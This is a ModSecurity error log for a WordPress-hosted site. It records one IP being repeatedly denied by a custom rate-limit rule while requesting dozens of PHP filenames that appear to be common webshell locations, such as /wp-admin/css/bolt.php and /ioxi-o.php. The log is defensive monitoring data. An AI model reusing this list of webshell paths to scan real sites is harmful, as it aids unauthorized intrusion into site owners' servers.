[Mon Apr 20 21:38:36.785118 2026] [:error] [pid 6928:tid 6949] [client 74.248.131.114:24953] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeYsXB3y7MHq1iB0qYq5qwAAAVM"]
[Mon Apr 20 21:39:23.922323 2026] [:error] [pid 11441:tid 11457] [client 74.248.131.114:26123] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeYsi8ixByFUvmh319CmwwAAAM4"]
[Mon Apr 20 21:39:24.460841 2026] [:error] [pid 11350:tid 11378] [client 74.248.131.114:26134] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeYsjP4EoMBgOJuJnT3HLAAAABM"]
[Mon Apr 20 21:39:25.029814 2026] [:error] [pid 11351:tid 11402] [client 74.248.131.114:26128] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeYsjQN8Z1-vktaI_tMQFQAAAE8"]
[Mon Apr 20 21:39:25.669822 2026] [:error] [pid 11351:tid 11394] [client 74.248.131.114:25591] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeYsjQN8Z1-vktaI_tMQFwAAAEc"]
[Mon Apr 20 21:39:26.330264 2026] [:error] [pid 11350:tid 11379] [client 74.248.131.114:26812] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeYsjv4EoMBgOJuJnT3HLgAAABQ"]
[Mon Apr 20 21:39:27.021566 2026] [:error] [pid 6928:tid 6941] [client 74.248.131.114:26239] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeYsjx3y7MHq1iB0qYq5yAAAAUs"]
[Mon Apr 20 21:39:27.584574 2026] [:error] [pid 6928:tid 6954] [client 74.248.131.114:26784] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeYsjx3y7MHq1iB0qYq5yQAAAVg"]
[Mon Apr 20 21:39:28.213587 2026] [:error] [pid 11494:tid 11501] [client 74.248.131.114:25525] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeYskMgko5iFiE8YoyTsxAAAAYU"]
[Mon Apr 20 21:39:28.769395 2026] [:error] [pid 11441:tid 11455] [client 74.248.131.114:26870] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeYskMixByFUvmh319CmyAAAAMw"]
[Mon Apr 20 21:39:29.302001 2026] [:error] [pid 6928:tid 6933] [client 74.248.131.114:26790] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeYskR3y7MHq1iB0qYq5zAAAAUM"]
[Mon Apr 20 21:39:29.858139 2026] [:error] [pid 6928:tid 6953] [client 74.248.131.114:25577] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeYskR3y7MHq1iB0qYq5zQAAAVc"]
[Mon Apr 20 21:39:30.478068 2026] [:error] [pid 11494:tid 11519] [client 74.248.131.114:26775] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeYsksgko5iFiE8YoyTszAAAAZc"]
[Mon Apr 20 21:39:31.188439 2026] [:error] [pid 11352:tid 11425] [client 74.248.131.114:24930] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeYsk2l10mhMSfJ7ir_dHQAAAIs"]
[Mon Apr 20 21:39:31.938886 2026] [:error] [pid 11441:tid 11446] [client 74.248.131.114:26161] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeYsk8ixByFUvmh319CmygAAAMM"]
[Mon Apr 20 21:39:32.664677 2026] [:error] [pid 6928:tid 6942] [client 74.248.131.114:25481] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeYslB3y7MHq1iB0qYq5zwAAAUw"]
[Mon Apr 20 21:39:33.941249 2026] [:error] [pid 11441:tid 11452] [client 74.248.131.114:26795] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeYslcixByFUvmh319CmzAAAAMk"]
[Mon Apr 20 21:39:35.257329 2026] [:error] [pid 6928:tid 6940] [client 74.248.131.114:26857] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeYslx3y7MHq1iB0qYq50gAAAUo"]
[Mon Apr 20 21:39:35.950143 2026] [:error] [pid 6928:tid 6937] [client 74.248.131.114:27513] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeYslx3y7MHq1iB0qYq50wAAAUc"]
[Mon Apr 20 21:39:36.535939 2026] [:error] [pid 11352:tid 11420] [client 74.248.131.114:26768] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeYsmGl10mhMSfJ7ir_dIgAAAIY"]
[Mon Apr 20 21:39:37.602675 2026] [:error] [pid 6928:tid 6941] [client 74.248.131.114:26165] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeYsmR3y7MHq1iB0qYq51QAAAUs"]
[Mon Apr 20 21:39:38.245717 2026] [:error] [pid 11350:tid 11383] [client 74.248.131.114:26809] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeYsmv4EoMBgOJuJnT3HOgAAABg"]
[Mon Apr 20 21:39:39.373470 2026] [:error] [pid 11352:tid 11432] [client 74.248.131.114:26794] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeYsm2l10mhMSfJ7ir_dJAAAAJI"]
[Mon Apr 20 21:39:40.072008 2026] [:error] [pid 42014:tid 42019] [client 74.248.131.114:26238] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeYsnMek-00-ZI0f1NqGVAAAAQM"]
[Mon Apr 20 21:39:40.641876 2026] [:error] [pid 11441:tid 11463] [client 74.248.131.114:27494] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeYsnMixByFUvmh319CmzwAAANQ"]
[Mon Apr 20 21:39:41.636912 2026] [:error] [pid 11350:tid 11372] [client 74.248.131.114:27459] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeYsnf4EoMBgOJuJnT3HQQAAAA0"]
[Mon Apr 20 21:39:42.245171 2026] [:error] [pid 11350:tid 11383] [client 74.248.131.114:24259] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeYsnv4EoMBgOJuJnT3HQwAAABg"]
[Mon Apr 20 21:39:42.814489 2026] [:error] [pid 6928:tid 6953] [client 74.248.131.114:26231] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeYsnh3y7MHq1iB0qYq52gAAAVc"]
[Mon Apr 20 21:39:43.349408 2026] [:error] [pid 11351:tid 11399] [client 74.248.131.114:27503] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeYsnwN8Z1-vktaI_tMQKwAAAEw"]
[Mon Apr 20 21:39:43.965902 2026] [:error] [pid 11494:tid 11507] [client 74.248.131.114:26235] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeYsn8gko5iFiE8YoyTs1QAAAYs"]
[Mon Apr 20 21:39:44.487250 2026] [:error] [pid 11350:tid 11360] [client 74.248.131.114:26215] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeYsoP4EoMBgOJuJnT3HRAAAAAE"]
[Mon Apr 20 21:39:45.034196 2026] [:error] [pid 11350:tid 11369] [client 74.248.131.114:27498] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeYsof4EoMBgOJuJnT3HRgAAAAo"]
[Mon Apr 20 21:39:45.546186 2026] [:error] [pid 6928:tid 6938] [client 74.248.131.114:26867] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeYsoR3y7MHq1iB0qYq53QAAAUg"]
[Mon Apr 20 21:39:46.125303 2026] [:error] [pid 11350:tid 11366] [client 74.248.131.114:27408] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeYsov4EoMBgOJuJnT3HSAAAAAc"]
[Mon Apr 20 21:39:46.643784 2026] [:error] [pid 11350:tid 11376] [client 74.248.131.114:26195] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeYsov4EoMBgOJuJnT3HSwAAABE"]
[Mon Apr 20 21:39:47.173838 2026] [:error] [pid 11351:tid 11411] [client 74.248.131.114:26777] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeYsowN8Z1-vktaI_tMQLQAAAFg"]
[Mon Apr 20 21:39:47.733887 2026] [:error] [pid 11351:tid 11395] [client 74.248.131.114:24268] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeYsowN8Z1-vktaI_tMQLgAAAEg"]
[Mon Apr 20 21:39:48.398760 2026] [:error] [pid 11494:tid 11500] [client 74.248.131.114:26755] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeYspMgko5iFiE8YoyTs1wAAAYQ"]
[Mon Apr 20 21:39:49.077951 2026] [:error] [pid 42014:tid 42024] [client 74.248.131.114:27409] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeYspcek-00-ZI0f1NqGWQAAAQg"]
[Mon Apr 20 21:39:49.737950 2026] [:error] [pid 11494:tid 11497] [client 74.248.131.114:27445] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeYspcgko5iFiE8YoyTs2QAAAYE"]
[Mon Apr 20 21:39:50.333822 2026] [:error] [pid 11494:tid 11511] [client 74.248.131.114:26819] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeYspsgko5iFiE8YoyTs2gAAAY8"]
[Mon Apr 20 21:39:51.111509 2026] [:error] [pid 11494:tid 11519] [client 74.248.131.114:24313] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeYsp8gko5iFiE8YoyTs3AAAAZc"]
[Mon Apr 20 21:39:51.656087 2026] [:error] [pid 11441:tid 11462] [client 74.248.131.114:27516] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeYsp8ixByFUvmh319Cm1QAAANM"]
[Mon Apr 20 21:39:52.196369 2026] [:error] [pid 11441:tid 11452] [client 74.248.131.114:26856] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeYsqMixByFUvmh319Cm1gAAAMk"]
[Mon Apr 20 21:39:52.781041 2026] [:error] [pid 11441:tid 11443] [client 74.248.131.114:26116] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeYsqMixByFUvmh319Cm2AAAAMA"]
[Mon Apr 20 21:39:53.307587 2026] [:error] [pid 11352:tid 11425] [client 74.248.131.114:24867] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeYsqWl10mhMSfJ7ir_dJQAAAIs"]
[Mon Apr 20 21:39:53.833880 2026] [:error] [pid 11350:tid 11380] [client 74.248.131.114:27469] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeYsqf4EoMBgOJuJnT3HUwAAABU"]
[Mon Apr 20 21:39:54.522036 2026] [:error] [pid 11350:tid 11371] [client 74.248.131.114:26173] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeYsqv4EoMBgOJuJnT3HVQAAAAw"]
[Mon Apr 20 21:39:55.102582 2026] [:error] [pid 11350:tid 11378] [client 74.248.131.114:26213] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeYsq_4EoMBgOJuJnT3HVwAAABM"]
[Mon Apr 20 21:39:55.710531 2026] [:error] [pid 11351:tid 11406] [client 74.248.131.114:26824] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeYsqwN8Z1-vktaI_tMQNwAAAFM"]
[Mon Apr 20 21:39:56.246670 2026] [:error] [pid 11351:tid 11394] [client 74.248.131.114:26188] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeYsrAN8Z1-vktaI_tMQOQAAAEc"]
[Mon Apr 20 21:39:56.767531 2026] [:error] [pid 42014:tid 42029] [client 74.248.131.114:26124] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeYsrMek-00-ZI0f1NqGXAAAAQ0"]
[Mon Apr 20 21:39:57.310565 2026] [:error] [pid 11494:tid 11517] [client 74.248.131.114:26782] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeYsrcgko5iFiE8YoyTs4QAAAZU"]
[Mon Apr 20 21:39:57.844920 2026] [:error] [pid 6928:tid 6950] [client 74.248.131.114:26836] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeYsrR3y7MHq1iB0qYq54gAAAVQ"]
[Mon Apr 20 21:39:58.433456 2026] [:error] [pid 11352:tid 11414] [client 74.248.131.114:27456] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeYsrml10mhMSfJ7ir_dKwAAAIA"]
[Mon Apr 20 21:39:59.135403 2026] [:error] [pid 6928:tid 6947] [client 74.248.131.114:24276] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeYsrx3y7MHq1iB0qYq55AAAAVE"]
